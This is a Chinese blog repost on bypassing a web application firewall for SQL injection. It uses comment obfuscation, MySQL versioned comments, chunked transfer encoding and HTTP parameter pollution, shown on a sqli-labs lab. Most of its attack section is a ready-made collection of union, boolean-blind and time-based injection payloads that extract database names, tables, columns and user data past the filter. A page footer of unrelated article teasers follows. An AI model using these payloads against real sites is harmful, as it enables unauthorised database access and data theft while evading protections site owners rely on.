渗透测试之WAF组合条件绕过方式手法详解以及SQL注入参数污染绕过

news2025/2/1 17:09:38

目录

组合绕过waf

​先看一些语句

绕过方式

我给出的注入语句是:

这里要注意的几点是:

组合绕过方式

完整过狗注入语句集合

http请求分块传输方法

其它方式绕过

http参数污染绕过waf

面试题:如何参数污染绕过waf

可以通过http参数污染绕过waf参数拦截:


先看一些语句

http://192.168.222.128/test/sql.php?id=1 /*!union*//*%!aa*//*!select*/ 1,2,3先判断注入点,把and为&&,urlencode后为%26%26  
-------------------------------------
http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2  

绕过方式

  • 1.利用()代替空格

  • 2.利用mysql特性 /*!*/ 执行语句

  • 3.利用注释符号/**/混淆代码

  • 我给出的注入语句是:

union/*%00*//*!50010select*/(database/**/()),(user/**/())%23 id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,user(), (database/**/()),4,5
------------------------------------------------------------------------------
http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5  

这里要注意的几点是:

  • 1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的 但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
  • 2./*!*/中间的代码是可以执行的,其中50010为mysql版本号 只要mysql大于这个版本就会执行里面的代码
  • 3.数据或者函数周围可以无限嵌套()
  • 4.利用好%00 user())

组合绕过方式

  • 完整过狗注入语句集合

判断: 1'/**/%26%261%3d2%23

判断列数: 1' order by 2%23

关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),

(user/**/())%23

关联查询爆出数据表:

%27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/( (information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23

关联查询爆出字段值:

%27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/ ((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23

关联查询提取数据:

%27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/( (users))%23  

盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23

盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_sc hema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23

盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_s chema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23

盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)% 3d'1'%23

基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23

基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_s chema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23

基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_ schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23

基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23  

http请求分块传输方法

  • 添加http头信息

  • Transfer-Encoding:chunked
  • 看到chunked 服务端就会等待 id=1 union 等待后面得数据过来

  • 看到0那么就会停止或者好几个换行符 就是本次换行得整体数据。

  • 用一个插件来修改 数据分块插件来修改【分块编码转换】 BP来处理

  • 依靠连续传输完成注入,分包过waf,但是到了服务器那边时

  • 看到最后数长度为0时或者看到好几个回车换行符

  • 表示数据传输完成。这个手段还是很不错的

  • 这个需要你对数据传输的数据包非常熟悉才玩的出来

其它方式绕过

Union -> /*!Union/*/**/

Select -> /*!/*!Select*/

Database() -> /*!database/*/**//*!/*!()*/  

使用这种方法SQL语句依然可以正确执行,而且会完美过狗!

  • 但是这里比较坑的一点是安全狗3.5版本会拦截关键字information_schema

    • 这样利用起来就比较麻烦了,不过私神还是提供了一种方法绕过:

    • 当mysql版本>=5.6时,可以用如下语句代替:

Select table_name from mysql.innodb_table_stats where database_name = database();  

  • 服务端去除nginx XFF-IP 就是真是ip

  • 而 remote就变成了 nginx 转换所在得ip地址

  • Nginx配置配置x-Forwarded 就能拿到nginx正常转发之前得ip

  • Bypass WF 插件如何使用 这个要明白


http参数污染绕过waf

面试题:如何参数污染绕过waf

  • 也就是参数重复 &(and)符号后多加几个重复得参数一般情况下都是回去除最后一个参数
sql-labs的Less 29关的正确打开方式:

http://192.168.18.21/sqli-labs-master/Less-29/login.php

输入
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1

发现输出结果为id=1的值

http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2

发现输出结果为id=2的值

http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3

发现输出结果为id=3的值

综上,发现mysql中用&连接多个参数,只输出最后一个参数的结果。

输入
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1'&id=2&id=3

页面显示注入被拦截。

http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2'&id=3

页面无变化。

http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3'

页面报数据库错误。

说明第一个参数被waf拦截,中间的参数无影响,最后一个参数被带到数据库中执行。

本关存在php的一个hpp漏洞,当同时传递多个参数时,不同的服务器可能会取得不同的参数值。

可以通过http参数污染绕过waf参数拦截:

  • 如果是$_get(id)获取id,则可以在参数后添加参数,对最后的参数进行注入,即可绕过waf。
  • 也就是说waf只检查第一个参数,而应用程序取最后一个参数代入数据库执行。

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2289385.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

oracl:多表查询>>表连接[内连接,外连接,交叉连接,自连接,自然连接,等值连接和不等值连接]

SQL(Structured Query Language,结构化查询语言)是一种用于管理和操作关系数据库的标准编程语言。 sql分类: 数据查询语言(DQL - Data Query Language) 查询的关键词 select 多表查询>>表连接 表连接: 把2个…

ARIMA详细介绍

ARIMA(AutoRegressive Integrated Moving Average,自回归积分滑动平均模型)是一种用于时间序列分析和预测的统计模型。它结合了自回归(AR)、差分(I)和移动平均(MA)三种方…

飞致云开源社区月度动态报告(2025年1月)

自2023年6月起,中国领先的开源软件公司飞致云以月度为单位发布《飞致云开源社区月度动态报告》,旨在向广大社区用户同步飞致云旗下系列开源软件的发展情况,以及当月主要的产品新版本发布、社区运营成果等相关信息。 飞致云开源运营数据概览&…

【搜索回溯算法篇】:拓宽算法视野--BFS如何解决拓扑排序问题

✨感谢您阅读本篇文章,文章内容是个人学习笔记的整理,如果哪里有误的话还请您指正噢✨ ✨ 个人主页:余辉zmh–CSDN博客 ✨ 文章所属专栏:搜索回溯算法篇–CSDN博客 文章目录 一.广度优先搜索(BFS)解决拓扑排…

WPS怎么使用latex公式?

1、下载并安装mathtype https://blog.csdn.net/weixin_43135178/article/details/125143654?sharetypeblogdetail&sharerId125143654&sharereferPC&sharesourceweixin_43135178&spm1011.2480.3001.8118 2、将mathtype嵌入在WPS MathType面板嵌入器,免费工具…

简单的爱心跳动表白网页(附源码)

一:准备工作 在开始之前,确保已经具备基础的 HTML、CSS 和 JavaScript 知识。同时,也要准备好一个代码编辑器,比如 VS Code 或 Sublime Text。接下来,我们需要创建三个文件:index.html、styles.css 和 scr…

【AI】DeepSeek 概念/影响/使用/部署

在大年三十那天,不知道你是否留意到,“deepseek”这个词出现在了各大热搜榜单上。这引起了我的关注,出于学习的兴趣,我深入研究了一番,才有了这篇文章的诞生。 概念 那么,什么是DeepSeek?首先百…

【4Day创客实践入门教程】Day3 实战演练——桌面迷你番茄钟

Day3 实战演练——桌面迷你番茄钟 目录 Day3 实战演练——桌面迷你番茄钟1. 选择、准备元件、收集资料2. 硬件搭建3.编写代码 Day0 创想启程——课程与项目预览Day1 工具箱构建——开发环境的构建Day2 探秘微控制器——单片机与MicroPython初步Day3 实战演练——桌面迷你番茄钟…

AndroidCompose Navigation导航精通1-基本页面导航与ViewPager

文章目录 前言基本页面导航库依赖导航核心部件简单NavHost实现ViewPagerPager切换逻辑图阐述Pager导航实战前言 在当今的移动应用开发中,导航是用户与应用交互的核心环节。随着 Android Compose 的兴起,它为开发者提供了一种全新的、声明式的方式来构建用户界面,同时也带来…

Node.js——body-parser、防盗链、路由模块化、express-generator应用生成器

个人简介 👀个人主页: 前端杂货铺 🙋‍♂️学习方向: 主攻前端方向,正逐渐往全干发展 📃个人状态: 研发工程师,现效力于中国工业软件事业 🚀人生格言: 积跬步…

C语言指针专题四 -- 多级指针

目录 1. 多级指针的核心原理 1. 多级指针的定义 2. 内存结构示意图 3. 多级指针的用途 2. 编程实例 实例1:二级指针操作(修改一级指针的值) 实例2:动态二维数组(二级指针) 实例3:三级指…

深度学习的应用

目录 一、机器视觉 1.1 应用场景 1.2 常见的计算机视觉任务 1.2.1 图像分类 1.2.2 目标检测 1.2.3 图像分割 二、自然语言处理 三、推荐系统 3.1 常用的推荐系统算法实现方案 四、图像分类实验补充 4.1 CIFAR-100 数据集实验 实验代码 4.2 CIFAR-10 实验代码 深…

RabbitMQ 多种安装模式

文章目录 前言一、Windows 安装 RabbitMq1、版本关系2、Erlang2.1、下载安装 Erlang 23.12.2、配置 Erlang 环境变量 3、RabbitMQ3.1、下载安装 RabbitMQ 3.8.93.2、环境变量3.3、启动RabbitMQ 管理插件3.3、RabbitMQ3.4、注意事项 二、安装docker1、更新系统包:2、…

吴恩达深度学习——有效运作神经网络

内容来自https://www.bilibili.com/video/BV1FT4y1E74V,仅为本人学习所用。 文章目录 训练集、验证集、测试集偏差、方差正则化正则化参数为什么正则化可以减少过拟合Dropout正则化Inverted Dropout其他的正则化方法数据增广Early stopping 归一化梯度消失与梯度爆…

DDD - 微服务架构模型_领域驱动设计(DDD)分层架构 vs 整洁架构(洋葱架构) vs 六边形架构(端口-适配器架构)

文章目录 引言1. 概述2. 领域驱动设计(DDD)分层架构模型2.1 DDD的核心概念2.2 DDD架构分层解析 3. 整洁架构:洋葱架构与依赖倒置3.1 整洁架构的核心思想3.2 整洁架构的层次结构 4. 六边形架构:解耦核心业务与外部系统4.1 六边形架…

数据结构与算法之二叉树: LeetCode LCP 10. 二叉树任务调度 (Ts版)

二叉树任务调度 https://leetcode.cn/problems/er-cha-shu-ren-wu-diao-du/description/ 描述 任务调度优化是计算机性能优化的关键任务之一。在任务众多时,不同的调度策略可能会得到不同的总体执行时间,因此寻求一个最优的调度方案是非常有必要的 通…

玩转大语言模型——配置图数据库Neo4j(含apoc插件)并导入GraphRAG生成的知识图谱

系列文章目录 玩转大语言模型——使用langchain和Ollama本地部署大语言模型 玩转大语言模型——ollama导入huggingface下载的模型 玩转大语言模型——langchain调用ollama视觉多模态语言模型 玩转大语言模型——使用GraphRAGOllama构建知识图谱 玩转大语言模型——完美解决Gra…

计算机毕业设计Python+CNN卷积神经网络考研院校推荐系统 考研分数线预测 考研推荐系统 考研爬虫 考研大数据 Hadoop 大数据毕设 机器学习

温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…

OpenCV:闭运算

目录 1. 简述 2. 用膨胀和腐蚀实现闭运算 2.1 代码示例 2.2 运行结果 3. 闭运算接口 3.1 参数详解 3.2 代码示例 3.3 运行结果 4. 闭运算的应用场景 5. 注意事项 相关阅读 OpenCV:图像的腐蚀与膨胀-CSDN博客 OpenCV:开运算-CSDN博客 1. 简述…

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程 github地址 https://github.com/xiaoxiaoranxxx/POT-ZHIYUN k8s搭建教程 首先下载代码文件 git clone https://github.com/xiaoxiaoranxxx/POT-ZHIYUN.git cd POT-ZHIYUN编译镜像 代码相关文件在github https://github.com/x…